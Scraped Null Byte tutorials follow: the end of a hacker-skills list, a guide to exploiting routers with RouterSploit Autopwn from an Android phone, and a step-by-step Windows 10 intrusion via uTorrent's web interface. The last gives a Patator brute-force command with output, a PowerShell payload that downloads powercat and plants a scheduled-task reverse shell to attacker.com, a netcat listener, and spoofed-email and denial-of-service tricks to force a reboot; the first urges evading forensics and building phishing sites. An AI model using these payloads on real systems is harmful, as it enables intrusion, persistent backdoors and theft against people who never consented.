and set up your networking parameters.Many of these basic skills can be acquired in a basic computer skills course like A+.2. Networking SkillsYou need to understand the basics of networking, such as the following.DHCPNATSubnettingIPv4IPv6Public v Private IPDNSRouters and switchesVLANsOSI modelMAC addressingARPAs we are often exploiting these technologies, the better you understand how they work, the more successful you will be. Note that I did not write the two guides below, but they are very informative and cover some of the networking basics mentioned above.Hacker Fundamentals: A Tale of Two StandardsThe Everyman's Guide to How Network Packets Are Routed3. Linux SkillsIt is extremely critical to develop Linux skills to become a hacker. Nearly all the tools we use as a hacker are developed for Linux and Linux gives us capabilities that we don't have using Windows.If you need to improve your Linux skills, or you're just getting started with Linux, check out my Linux series for beginners below.Linux Basics for the Aspiring Hacker4. Wireshark or TcpdumpWireshark is the most widely used sniffer/protocol analyzer, while tcpdump is a command line sniffer/protocol analyzer. Both can be extraordinarily useful in analyzing TCP/IP traffic and attacks.An Intro to Wireshark and the OSI ModelWireshark Filters for Wiretappers5. VirtualizationYou need to become proficient in using one of the virtualization software packages such asVirtualBoxorVMWare Workstation. Ideally, you need a safe environment to practice your hacks before you take them out in real world. A virtual environment provides you a safe environment to test and refine your hacks before going live with them.6. Security Concepts & TechnologiesA good hacker understands security concepts and technologies. The only way to overcome the roadblocks established by the security admins is to be familiar with them. The hacker must understand such things as PKI (public key infrastructure), SSL (secure sockets layer), IDS (intrusion detection system), firewalls, etc.The beginner hacker can acquire many of these skills in a basic security course such as Security+.How to Read & Write Snort Rules to Evade an IDS7. Wireless TechnologiesIn order to be able to hack wireless, you must first understand how it works. Things like the encryption algorithms (WEP, WPA, WPA2), the four-way handshake, and WPS. In addition, understanding such as things as the protocol for connection and authentication and the legal constraints on wireless technologies.To get started, check out my guide below on getting started with wireless terms and technologies, then read our collection of Wi-Fi hacking guides for further information on each kind of encryption algorithms and for examples of how each hack works.Getting Started with Wi-Fi Terms & TechnologiesThe Aspiring Hacker's Guide to Hacking Wi-FiThe Intermediate SkillsThis is where things get interesting, and where you really start to get a feel for your capabilities as a hacker. Knowing all of these will allow you to advance to more intuitive hacks where you are calling all the shots—not some other hacker.8. ScriptingWithoutscripting skills, the hacker will be relegated to using other hackers' tools. This limits your effectiveness. Every day a new tool is in existence loses effectiveness as security admins come up with defenses.To develop your own unique tools, you will need to become proficient at least in one of the scripting languages including the BASH shell. These should include one of Perl, Python, or Ruby.Perl Scripting for the Aspiring HackerScripting for the Aspiring Hacker, Part 1: BASH BasicsScripting for the Aspiring Hacker, Part 2: Conditional StatementsScripting for the Aspiring Hacker, Part 3: Windows PowerShellThe Ultimate List of Hacking Scripts for Metasploit's Meterpreter9. Database SkillsIf you want to be able to proficientlyhack databases, you will need to understand databases and how they work. This includes the SQL language. I would also recommend the mastery of one of the major DBMS's such SQL Server, Oracle, or MySQL.The Terms & Technologies You Need to Know Before Getting StartedHunting for Microsoft's SQL ServerCracking SQL Server Passwords & Owning the ServerHacking MySQL Online Databases with SqlmapExtracting Data from Online Databases Using Sqlmap10. Web ApplicationsWeb applications are probably the most fertile ground for hackers in recent years. The more you understand about how web applications work and the databases behind them, the more successful you will be. In addition, you will likely need to build your own website for phishing and other nefarious purposes.How to Clone Any Website Using HTTrackHow to Redirect Traffic to a Fake Website11. ForensicsTo become good hacker, you must not be caught! You can't become a pro hacker sitting in a prison cell for 5 years. The more you know aboutdigital forensics, the better you can become at avoiding and evading detection.Digital Forensics, Part 1: Tools & TechniquesDigital Forensics, Part 2: Network ForensicsDigital Forensics, Part 3: Recovering Deleted FilesDigital Forensics, Part 4: Evading Detection While DoSing12. Advanced TCP/IPThe beginner hacker must understand TCP/IP basics, but to rise to the intermediate level, you must understand in intimate details the TCP/IP protocol stack and fields. These include how each of the fields (flags, window, df, tos, seq, ack, etc.) in both the TCP and IP packet can be manipulated and used against the victim system to enable MitM attacks, among other things.13. CryptographyAlthough one doesn't need to be a cryptographer to be a good hacker, the more you understand the strengths and weaknesses of each cryptographic algorithm, the better the chances of defeating it. In addition, cryptography can used by the hacker to hide their activities and evade detection.14. Reverse EngineeringReverse engineering enables you to open a piece of malware and re-build it with additional features and capabilities. Just like in software engineering, no one builds a new application from scratch. Nearly every new exploit or malware uses components from other existing malware.In addition, reverse engineering enables the hacker to take an existing exploit and change its signature so that it can fly past IDS andAV detection.How to Change Metasploit Payload Signatures to Evade AV DetectionThe Intangible SkillsAlong with all these computer skills, the successful hacker must have some intangible skills. These include the following.15. Think CreativelyThere is ALWAYS a way to hack a system and many ways to accomplish it. A good hacker can think creatively of multiple approaches to the same hack.Null Byte's Guide to Social EngineeringCryptoLocker: An Innovative & Creative Hack16. Problem-Solving SkillsA hacker is always coming up against seemingly unsolvable problems. This requires that the hacker be accustomed to thinking analytically and solving problems. This often demands that the hacker diagnose accurately what is wrong and then break the problem down into separate components. This is one of those abilities that comes with many hours of practice.Problem Solving Is an Essential Hacker Skill17. PersistenceA hacker must be persistent. If you fail at first, try again. If that fails, come up with a new approach and try again. It is only with a persistence that you will be able to hack the most secured systems.So...You Want to Be a Hacker?I hope this gives you some guidelines as to what one needs to study and master to ascend to the intermediate level of hacking. In a future article, I'll discuss what you need to master to ascend into the advanced or master hacker level, so keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHow To:Become a HackerWhite Hat Hacking:Hack the Pentagon?How To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:This Course Bundle Will Teach You How to Start & Grow a BusinessNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayScrabble Challenge #5:Put Your 2-Letter Word Skills to the TestNews:Airline Offers Frequent Flyer Miles to HackersTypoGuy Explaining Anonymity:A Hackers MindsetHow To:Expand Your Coding Skill Set with This 10-Course Training BundleNews:Islamic State (ISIS) Attacks U.S. Power Grid!How To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalNews:Becoming a HackerHow To:Why You Should Study to Be a HackerNews:Student Sentenced to 8mo. in Jail for Hacking FacebookNews:12 Easy Exploits to Raise Thief Skills in SkyrimHow To:Get the Master Level Spells in The Elder Scrolls V: SkyrimCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingNews:9 Easy Exploits to Raise Combat Skills in SkyrimWeekend Homework:How to Become a Null Byte Contributor (2/10/2012)EssentialsChat Tutorial:Chat and Color FormattingNews:Master of Business Administration Online at Kaplan University–Distance LearninGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingHow To:Effectively Disguise Yourself and Keep Your Identity SecretHow To:Get the 'One with the Shadows' Achievement in The Elder Scrolls V: SkyrimNews:introduction
How to Exploit Routers on an Unrooted Android Phone « Null Byte :: WonderHowTo
RouterSploit is a powerful exploit framework similar toMetasploit, working to quickly identify and exploit common vulnerabilities in routers. And guess what. It can be run on most Android devices.I initiallycovered RouterSploit on Kali Linux and macOS (OS X), but this tutorial will walk you through setting up RouterSploit to work on an unrooted Android phone. This allows you to pwn any vulnerable router you can connect your smartphone to. Doing so takes seconds and shows the power of running Debian Linux tools on the device you carry everywhere.RouterSploit vs RoutersRouters are our gateway to the world. They route our internet traffic, encrypt our traffic to protect our privacy, and link us to other devices on our local networks and on the World Wide Web.Most people take this wonderful device for granted, assuming once one is plugged in and providing the internet, the job of setting it up is done. Not knowing the router is actually its own Linux computer, most people simply leave the default password on the router's administrator panel or never bother logging in to install any security updates.If this sounds like you, you should probably go change the password on your router before reading the rest of this tutorial.Don't Miss:How the CIA & Hackers Exploit Your Router with RouterSploitBecause routers are neglected, they frequently have commonly known vulnerabilities that can be exploited with the right program. RouterSploit takes advantage of the most common vulnerabilities and default settings, allowing you to quickly assess and exploit a router from any device the supports the Python script.Debian Linux on AndroidIn order to run hacking tools on an Android phone, most tools requireroot access, which is not always easily done or safe. In order to run RouterSploit on the best available phone, an app calledGNURootDebiantakes the work out of setting up a Debian system, which is what Kali is, on an Android phone.We've got RouterSploit running on an unrooted Android!Image by SADMIN/Null ByteKali helpfully ensures that the majority of our dependencies are installed, so we'll need to install a lot more dependencies on our Android version of Debian to make sure we have everything we need. This method doesn't require root or any weird permissions and can be used to run Linux Python tools from an Android phone. While packet injection isn't supported, frameworks like RouterSploit work and are very effective.Using an Attack Framework on AndroidThe Android environment allows for a neat stack of wireless attack technologies to guide your tactics. Within one device, various apps will help you detect, connect to, and defeat any open AP. My "stack" of Android apps to defeat routers is as follows.For detection and identification of wireless networks in an area,Wigle Wifi Wardrivingallows you to see, log, and interact with any and all wireless networks transmitting in your areaFor scanning of networks and identification of likely targets by manufacturer, IP address, and services available,Fing Network Scannerwill scan the entirety of any network you are connected to and return detailed information about each connected device.Once a device has been targeted on the network to attack, RouterSploit's Autopwn scanner will throw every available exploit at the target and see which stick, often taking less than a minute on a Samsung Galaxy phone.Target variables are set.Image by SADMIN/Null ByteUnrooted Android Burner Phones as Attack PlatformsUsing powerful Linux frameworks on Android gives us another way to use something common to hack in plain sight. Even if someone knows what you're doing on your phone isn't normal, it's still a lot less suspicious than pulling out custom hardware to preform a task a generic burner Android phone can accomplish.For More on Attack Frameworks, Check Out:Null Byte's Series on Metasploit BasicsIt is often said that the best weapon to use during a moment of opportunity is the one you know you'll have with you, and hacking tools are no exception. With the ability to quickly set up an Android phone for offensive use, GNURoot Debian allows anyone to begin auditing router security without any specialized tools. Soon, you will learn to seize control of these precious, internet-giving devices while appearing like you're still looking forPokémon.What You Need to Get StartedThe beauty of this setup is that you just need an Android phone. I'm using a Samsung Galaxy S8 because carrying around a giant piece of curved screen glass reminds me of how fragile life is, but you can use any Android phone that supports GNURoot Debian.Step 1: Installing GNURoot DebianTo begin, we'll install GNURoot Debian, which will give us the ability to run Debian Linux on an unrooted Android device. In the Google Play Store, search for GNURoot Debian orfollow this link.You can tell he's a good time because of the goatee.Image by SADMIN/Null ByteDownload the app (at 60 MB, it may take a bit on a slow connection). Once the app is installed, it's time for your first run. On starting for the first time, you'll see the Debian environment being set up as a bunch of text scrolling very quickly across the screen.More dependencies loading.Image by SADMIN/Null ByteLet the setup complete for a few minutes, and you should see the following screen when installation is complete.Debian Linux is running on Android.Image by SADMIN/Null ByteOnce Debian Linux is installed, it's time to start installing dependencies.Step 2: Installing DependenciesDebian Linux on Android doesn't come with any special dependencies preinstalled like Kali, so we'll have to start from scratch on a lot of things. In particular, we'll need Python to run our desired module. First, let's update our version of Debian with the following.apt-get updateNext, let's install some of the tools we'll need to fetch and install RouterSploit:apt-get install sudosudo apt-get install git-coreThis will installgitandsudo, so you can fetch RouterSploit from GitHub and execute commands as sudo.sudo apt-get install python-dev python-pip libncurses5-dev gitStep 3: Installing RouterSploitOnce the dependencies are all installed, it's time to grab RouterSploit by typing the following.git clonehttps://github.com/reverse-shell/routersploitLook at all these beautiful dependencies.Image by SADMIN/Null ByteStep 4: Running RouterSploit for the First TimeUpon installing RouterSploit, you'll want to run it for the first time to check that it's working. Navigate to the home folder by typing the following.cd routersploitThen run the Python script with this:sudo python ./rsf.pyAfter a few seconds to load, you should see the RouterSploit splash screen. From here, the interface is similar toMetasploit, with the primary commands being:use(module)set(variable)show options(shows module options)check(checks to see if target is vulnerable to exploit)run(runs the exploit module against the target)The module we'll be running is Autopwn, which we can select by typing the following.use scanners/autopwnThis will open the Autopwn scanner to begin scanning a target.Step 5: Setting & Prosecuting a TargetWith theWigle Wifi Wardrivingapp installed on your Android phone, it's easy to see nearby wireless networks. As soon as you gain access to a Wi-Fi network, either an open network or by gaining the password, you'll be able to scan the network to find all devices on it withFingor another network scanner.Once you locate the IP address of your target, it's time to put it into Autopwn. To see the available options on any module, type the following.show optionsIn this case, we'll be setting the target IP to that of the router we want to attack. To do so, enter this into the terminal:set target IP_address_hereHere, we set the target for the Autopwn scan with the IP address of the target.ReplaceIP_address_herewith the IP address of the router, and hit enter. This should set the target to the router. To double check, typeshow optionsagain. When you're satisfied with the result, typerunand hit enter to begin the module. The module will run, presenting a list of found vulnerabilities at the end of the scan.Here, we see a scanning run starting against a target.Step 6: Exploiting Found VulnerabilitiesWhen Autopwn finds a vulnerability, exploiting it couldn't be easier. After the scan is complete, typeuseand then copy and paste the path provided by Autopwn to the exploit. For example, running theexploits/cameras/dlink/dcs_9301_9321_auth_bypasswould be done by typing:use exploits/cameras/dlink/dcs_9301_9321_auth_bypassAs before, we can set the target with:set target IP_address_hereOnce the target is set to our desired IP address, you can runcheckto verify the device is vulnerable. When you're ready to exploit, typerunand the exploit module will run.This device is vulnerable!Image by SADMIN/Null ByteWarningEven if the router is left completely undefended and is easy to pwn, that doesn't make it legal. Make sure you have permission to audit the router you're pwning, as the Autopwn scanner makes a lot of noise and may be detected by active security measures.If you have any questions, ask them here or @sadmin2001 onTwitterorInstagram.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Unroot Your Galaxy S5 or Other Android DeviceHow To:Seize Control of a Router with RouterSploitHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Get Android Pay Working on a Rooted DeviceHow To:Use Your Android as a Hacking Platform:Part 1 Getting Your Android Ready.News:The New HTC One M8 Has Been RootedNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Unroot an HTC Magic or T-Mobile MyTouch 3G Google Android smartphoneHow To:Unroot an HTC Hero Google Android smartphoneHow To:Hack Android Using Kali (Remotely)How To:Trick Verizon into Thinking You Never Modded Your Samsung Galaxy S IIIHow To:Unroot a Motorola Milestone Google Android smartphoneHow To:USB Tether Your Android Device to Your Mac—Without RootingHow To:Hack Android Using Kali (UPDATED and FAQ)Tell Your Friends:How to Protect Yourself from Android's Biggest Security Flaw in YearsHow To:Unroot an HTC Legend Google Android smartphoneHow To:Unroot an HTC Desire Google Android smartphoneHow To:Unroot a Samsung Behold 2 Google Android smartphoneHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Wardrive on an Android Phone to Map Vulnerable NetworksNews:Linux Kernel Exploits Aren't Really an Android ProblemHow To:Check Out WonderHowTo On Your iPhone Or Android PhoneNews:Be an Android expert userNews:Build Your Own Lego Router
Hacking Windows 10: How to Hack uTorrent Clients & Backdoor the Operating System « Null Byte :: WonderHowTo
Compromised uTorrent clients can be abused to download a malicious torrent file. The malicious file is designed to embed a persistent backdoor and execute when Windows 10 reboots, granting the attacker remote access to the operating system at will.Torrent clients likeuTorrentandTransmissionhave built-in features that allow server administrators to remotely access the torrent client via web application interfaces, as shown in the below image example of uTorrent's web app.Overall, the number ofpublicly accessible torrent clientsis growing. As torrent clients increase in popularity, so does the number ofpoorly configured and insecureservices. Likeall web apps, these clients can be hacked in various ways. For instance, in recent years, numerousdirectory traversal,privilege escalation, andcross-site scriptingvulnerabilities have been disclosed, as seen in the image below. In the future, attackers may discover ways of bypassing authentication entirely.Don't Miss:Quickly Enumerate Valid Subdomains for Any WebsiteUnderstanding the AttackSo, a torrent client gets hacked... what's the worst an attacker can do? Pirate some copyrighted materials? Well, yes, but it gets worse. Torrent clients are capable of creating files and directories on the system as well as replacing existing ones. That access to the filesystem can be abused by downloading malicious files through the compromised torrent client.For example, on Windows 10 computers, an attacker can download an executable or script into theStartup directory, as shown in the GIF below. The Startup directory will execute any files it detects without user interaction — every time the server or computer reboots.Don't Miss:How to Disable Startup Programs in Windows 10Modifying the default download directory in a hacked uTorrent client.Linux systems are equally vulnerable to such attacks but are out of the scope of our demonstration here. The.bashrc filefound in most Linux system is essentially a Bash script that's executed every time a new terminal is opened or SSH login is established. An attacker can use the compromised torrent client to download a malicious .bashrc file, replacing the original one found on the server. It would cause the server to execute the attacker's .bashrc when someone successfully authenticates to the server.This article will show how uTorrent web apps can be brute-forced and used to download a PowerShell script into the Windows 10 Startup directory. The PowerShell script is designed to embed a persistent backdoor and immediately delete itself when completed.Step 1: Brute-Force the Login with PatatorAs research suggests, most passwords are six to eight characters in length. Weak passwords may allow attackers to guess the uTorrent login password and begin manipulating files on the server.Patatoris a brute-forcing tool, like Hydra, Medusa, and Burp's Intruder module. Using Patator to brute-force web app logins is very similar to brute-forcing router gateways. In my previous article, "Break into Router Gateways with Patator," command line usage and examples are covered in great detail.More Info:How to Break into Router Gateways with Patator1. Install PatatorTo get started,install Patatorwith the following command if it's not already installed. In full versions of Kali Linux, Patator may already be on the system.~# apt-get update && apt-get install patator Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: ca-certificates-java default-jre default-jre-headless fonts-dejavu-extra freerdp2-x11 ike-scan java-common ldap-utils libatk-wrapper-java libatk-wrapper-java-jni libfreerdp-client2-2 libfreerdp2-2 libgif7 libwinpr2-2 openjdk-11-jre openjdk-11-jre-headless patator python3-ajpy python3-bcrypt python3-dnspython python3-ipy python3-mysqldb python3-nacl python3-openssl python3-paramiko python3-psycopg2 unzip 0 upgraded, 27 newly installed, 0 to remove and 0 not upgraded. Need to get 43.9 MB of archives. After this operation, 192 MB of additional disk space will be used. Do you want to continue? [Y/n] Y2. Capture a Login Request with Burp's ProxyOpen Firefox and Burp Suite.Configure Firefox to proxy requests through Burpandcapture the login request. Replace the encoded "Authentication: Basic" string with "FILE0," right-click it, and choose the "Copy to file" option. The FILE0 string will act as a placeholder for Patator's wordlist. Save the request to the /tmp directory with the "utorrent_request.txt" filename.Don't Miss:Use Burp & FoxyProxy to Easily Switch Between Proxy Settings3. Generate a Targeted WordlistHashes.orghas published wordlists containing cracked passwords obtained in recent years. The 2018 wordlist, highlighted in the image below, can be downloaded bynavigating to the website. That's the one we're using as an example in this guide.Unzip the archive with the7z x archive.7zcommand, where "archive" is the directory and filename of the compressed file you downloaded. For instance:~# 7z x /root/Downloads/hashes.org-2018.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz (40661),ASM,AES-NI) Scanning the drive for archives: 1 file, 1424620615 bytes (1359 MiB) Extracting archive: /root/Downloads/hashes.org-2018.7z -- Path = /root/Downloads/hashes.org-2018.7z Type = 7z Physical Size = 1424620615 Headers Size = 142 Method = LZMA:24 Solid = - Blocks = 1 Everything is Ok Size: 6429547050 Compressed: 1424620615Then, encode each line in the wordlist with base64. The "admin" username is the default with uTorrent web apps. Swap out the "./hashes.org-2018.txt" directory and file with the location and name of your downloaded wordlist.~# while read password; do printf "admin:$password" | base64; done < ./hashes.org-2018.txt >>./base64_wordlist.txt4. Brute-Force with PatatorIn my tests against uTorrent version 3.5.5 in Windows 10, there didn't seem to be any kind of blacklisting or rate-limiting invoked by hundreds of thousands of failed login attempts. It would appear uTorrent allows an infinite number of login attempts over any prolonged period of time.To brute-force uTorrent web logins, use the belowpatatorcommand with the utorrent_request.txt file created instep two. Make sure you substitute any paths below to the right directory, as yours may be different.~# patator http_fuzz raw_request=/tmp/utorrent_request.txt accept_cookie=1 follow=1 0=./base64_wordlist.txt 16:31:45 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-01-29 16:31 ESTTo break that command down:raw_request=— Use the utorrent_request.txt created in an earlier step to generate login attempts against the web app.accept_cookie=— Save received cookies to issue them in future requests.follow=— Follow Location redirects for both failed and successful login attempts if instructed by the server.0=— The "FILE0" placeholder in the utorrent_request.txt will iterate through the provided list of passwords.After executing the Patator command, the output will appear as shown below:code size:clen time | candidate | num | mesg ----------------------------------------------------------------------------- 401 159:0 0.004 | YWRtaW46ISEhbWFmZWlmZWkxMjM0NQ== | 9902 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbWFydGluYTk1 | 9912 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbWVpbnMhISE= | 9922 | HTTP/1.1 401 Unauthorized 401 159:0 0.007 | YWRtaW46ISEhbWljaCEhIQ== | 9932 | HTTP/1.1 401 Unauthorized 401 159:0 0.001 | YWRtaW46ISEhbW9t | 9942 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbmFpY3VMISEh | 9952 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbmV3d2F2ZQ== | 9962 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbm93YXk= | 9972 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhb29vNTIx | 9982 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhcGluayEhIQ== | 9992 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbWFyeTEyMw== | 9913 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbWVsbDI3ODE= | 9923 | HTTP/1.1 401 Unauthorized 401 159:0 0.001 | YWRtaW46ISEhbWljaGVsbGU= | 9933 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbW9uZXk= | 9943 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbmFtYXN0ZTIy | 9953 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbmlhaXdvYnU= | 9963 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbndseTAy | 9973 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhb3N0YXAhISE= | 9983 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhcGlwa2EyMDA0ISEh | 9993 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbWFzY3VsaW5vISEh | 9915 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbWVuZzEyMw== | 9925 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbWluaW9uNTg= | 9935 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbXVja2VsMDgxNQ== | 9945 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbmFuZGExOTk1 | 9955 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbmlja2k= | 9965 | HTTP/1.1 401 Unauthorized 401 159:0 0.000 | YWRtaW46ISEhbzc3M2g= | 9975 | HTTP/1.1 401 Unauthorized 200 42340:42176 0.073 | YWRtaW46UGFTU3dvUkRAMTIzNA== | 9985 | HTTP/1.1 200 OK 401 159:0 0.004 | YWRtaW46ISEhcG9wOTI= | 9995 | HTTP/1.1 401 Unauthorized Hits/Done/Skip/Fail/Size: 10000/10000/0/0/10000, Avg: 1607 r/s, Time: 0h 0m 6sFailed login attempts can befiltered out. Successfullogins can be decodedwithbase64. For example:~# base64 -d <<< 'YWRtaW46UGFTU3dvUkRAMTIzNA==' admin:PaSSwoRD@1234Step 2: Modify the Default Download DirectoryAfter gaining access to the torrent client, if there are no active downloads, simply add any torrent file and click the "General" tab to identify the username on the Windows system. The torrent can be deleted after discovering the username.Open the "Preferences" and click on the "Directories" tab. Check the "Put new downloads in" button and enter the following Startup directory.C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupBe sure to replace<USERNAME>with the Windows 10 username.Step 3: Create the Payload.batThe PowerShell script (payload.bat) will embed a persistent backdoor with theschtaskscommand and remove evidence of itself from the Startup directory.This is only one example of a PowerShell payload. The script can execute a wide range of automated attacks, such as sensitive file exfiltration,desktop live-streaming,password dumping, andconverting the device into a web proxy.There are several lines in the below PowerShell payload. Comments have been added to help explain what each line does.# A new directory is created called "Windows" in an attempt to # hide a malicious script in plain sight. mkdir "C:\Users\$env:username\Windows" # Invoke-WebRequest is used to download Powercat, a Netcat-like # PowerShell module. The Powercat script is saved in the # new "Windows" directory. iwr 'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1' -O C:\Users\$env:username\Windows\powercat.ps1 # The schtasks command is executed to create a new scheduled task # called "backdoor." The task will import the Powercat script # and attempt to create a TCP connection to the attacker's system # every time the Windows 10 computer becomes idle. schtasks /create /f /tn backdoor /tr 'powershell /w 1 -ep bypass /C ipmo C:\Users\$env:username\Windows\powercat.ps1;powercat -c attacker.com -p 9999 -e powershell' /sc onidle /i 1 # The payload.bat is removed from the Startup directory. rm C:\Users\$env:username\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\payload.batCreate a directory called "torrent" with themkdircommand.~# mkdir torrent/Change into the new directory.~# cd torrent/ ~/torrent#The above payload has been condensed into one line, chained together by semicolons, which will allow Windows 10 to cleanly execute all of the desired code as one command.Usenanoto create a new "payload.bat" file:~/torrent# nano payload.batAnd save the below PowerShell script to the file:powershell -ep bypass /w 1 "& mkdir C:\Users\$env:username\Windows;iwr 'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1' -O C:\Users\$env:username\Windows\powercat.ps1;schtasks /create /f /tn backdoor /tr 'powershell /w 1 -ep bypass /C ipmo C:\Users\$env:username\Windows\powercat.ps1;powercat -c attacker.com -p 9999 -e powershell' /sc onidle /i 1;rm C:\Users\$env:username\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\payload.bat"Notice thegrave accent(`) in the "Start` Menu" file path. This is not a typo. The grave accent character is a solution toescape spaces.Don't Miss:Create an Undetectable Payload with UnicornStep 4: Create the Torrent FileIn Kali, download theqbittorrentclient in a new terminal window. Most torrent applications allow for torrent creation, but thetransmission-gtkclient failed to create the .torrent file in my tests, so it's not recommended.~# apt-get update && apt-get install qbittorrent Hit:1 https://mirrors.ocf.berkeley.edu/kali kali-rolling InRelease Reading package lists... Done Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: libboost-random1.67.0 libtorrent-rasterbar9 qbittorrent 0 upgraded, 3 newly installed, 0 to remove and 185 not upgraded. Need to get 7,051 kB of archives. After this operation, 15.2 MB of additional disk space will be used. Do you want to continue? [Y/n]Open qBitttorrent. In the menu bar, click the "Tools" button, then "Torrent Creator" to open theTorrent Creatorwindow.Change the path to the payload.bat file, check the "Start seeding immediately" button,add tracker URLs, and click the "Create Torrent" button.The torrent file will be created. Click "OK" and qBittorrent will begin seeding the file. The qBittorrent client must remain open the entire time for other torrent clients (i.e., the compromised uTorrent server) to download the file.Step 5: Import the Torrent FileFrom the hacked uTorrent client, click the "Add Torrent" button in the top-left corner. Import the payload.bat.torrent created in the previous step.The payload.bat only contains a small PowerShell one-liner so it should download within a few seconds. In Windows 10, which won't be accessible to the hacker yet, the payload.bat can be found in the Startup directory.Payload.bat downloaded through uTorrent client and saved into Startup directory.The next time Windows 10 reboots, the payload.bat will execute the script. Withvirtual private servers, getting the target to restart the system can be tricky. Several ideas for accomplishing this are outlined later in the article.Step 6: Start the Netcat ListenerIn Kali, the belownetcatcommand can be used to open a listener (-l) on port (-p) 9999. The listener is required to intercept the connection from the Powercat command embedded in the Windows 10 task scheduler. The port number can be changed but needs to match the Powercat port used in the payload.bat.~# nc -v -l -p 9999 listening on [any] 9999 ...Step 7: Restart the ServerWindows 10 laptops on a local network can be easier to provoke into rebooting. With virtual private servers, it could be days, weeks, or even months before the target server or computer is restarted. It's uncommon for system administrators to reboot a remote system for no reason.Below are several methods that may prompt a user or administrator to restart the operating system.Email: Enumerating the VPS provider in use can be accomplished with severalopen-source intelligence gathering techniques. A spoofed email from the target's VPS provider with a convincing request to immediately reboot of the operating system for "security reasons." The email should resembleactual security notificationssent by the VPS provider.Deauthentication: If the uTorrent application is running on a laptop discovered on a local network, a shortde-authentication attackat intervals will cause the Windows computer to disconnect from the Wi-Fi router momentarily. This may cause the target to restart his/her computer, hoping to resolve theflakyWi-Fi connection.Denial-of-Service: Similarily, a tool likeDHCPigwill use all IP addresses on the network connection, stop new users from obtaining IP addresses, release all IPs in use, then use ARP to knock all Windows hosts offline.Step 8: Post-ExploitationIf the attack were successful, the payload.bat would be removed from the Startup directory, and a new TCP connection will be made to the attacker's system every time the Windows computer becomes idle (i.e., unattended for one minute).~# nc -v -l -p 9999 listening on [any] 9999 ... Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Windows\system32>Preventing This Kind of AttackAs an avid torrent application user, remote access to the client makes downloading new content very convenient. But such web apps must be well fortified with security solutions likeNginx,SSH port-forwarding, orTor onion servicesto prevent unfettered brute-force attacks and full-access to the client from the internet.Until next time, follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Don't Miss:More Null Byte Guides on 